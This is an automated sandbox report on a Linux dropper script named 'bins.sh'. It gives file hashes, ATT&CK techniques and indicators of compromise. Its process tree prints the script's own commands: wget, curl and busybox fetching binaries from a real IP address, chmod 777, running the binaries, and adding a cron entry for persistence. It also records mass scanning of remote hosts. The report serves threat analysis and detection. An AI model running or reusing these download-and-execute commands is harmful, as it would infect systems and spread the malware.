8bdb9a1f78d4395a40db41c5757ca2eda75a4d5a96966ce5e506fd2191f25ffd

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 19:47

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General

Target

bins.sh
Size

10KB
MD5

6949807f763e2d0774e325b916dd0898
SHA1

eebdc0a1509618093370f26bae1f6b65feda6571
SHA256

8bdb9a1f78d4395a40db41c5757ca2eda75a4d5a96966ce5e506fd2191f25ffd
SHA512

e9c89ca7f13edb512eb6b29ed5f089a56fe2baabf8bc906e2ac51209f202a82a8e3fa6a453c57eeb0439b49a836ed07c85a7d1e2fac0b26e3b8da29459e92ab2
SSDEEP

192:mLvr08gJp7I427s0M7gQ1COtJpYa6Gq74oTIPbM4Uc6PXPDPev3JS7ckrPbMuUck:y0gFDzV/Dev3Mc3/Dev36X

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2053) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
1524	chmod
1502	chmod
1509	chmod

Executes dropped EXE 3 IoCs

Processes:

hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATNh8thNalBVsVsZGzxShbyd3BrADft88FHF5qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

ioc	pid	Process
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	1503	hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	1510	h8thNalBVsVsZGzxShbyd3BrADft88FHF5
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	1525	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Renames itself 1 IoCs

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

pid	Process
1526	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.FAMHjj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

description	ioc	Process
File opened for reading	/proc/1043/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1617/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1653/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1702/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1748/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/5/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/495/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1576/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1733/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/30/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1555/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1594/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1708/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1717/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1721/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1754/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1090/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1187/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1674/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1704/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1739/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/34/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/176/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/182/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/586/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1664/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1666/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1732/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1771/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/425/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1253/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1071/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1608/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1636/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1660/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1760/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/633/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1190/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1586/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1638/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1711/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1719/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1741/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1566/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/18/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/19/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/644/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/683/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/966/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1170/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1553/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1598/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1616/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1756/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/166/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1640/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1673/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1699/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/98/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/908/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1539/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1637/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1642/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxwgetbusyboxwgetbusyboxcurlcurlcurl

description	ioc	Process
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	wget
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	busybox
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	wget
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	busybox
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	wget
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	busybox
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	curl
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	curl
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1494
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://87.120.125.191/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/chmod
  chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Executes dropped EXE
  PID:1503
- /bin/rm
  rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://87.120.125.191/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1506
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Executes dropped EXE
  PID:1510
- /bin/rm
  rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://87.120.125.191/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1525
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1527
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1528
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1529
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1530
- /bin/rm
  rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://87.120.125.191/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  PID:1535

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.FAMHjj

Filesize
210B

MD5
1a4817c9152a77d5675cb9b987d57c86

SHA1
c69f26118bdc270e4bbb6711b23b7a5c654f790a

SHA256
212542198bc001059cdab4613c41a43fa836882c5c2ce13bc70d9458f83c08cc

SHA512
ca4c8a87877defe435efa581d09e34d12a7ccd51e0e2dea5ffaec30996a1f48755de137f3580de5a17dc9d9d64b331aa1f448128fb4cf055197524e91f2f9ff1

Download Submit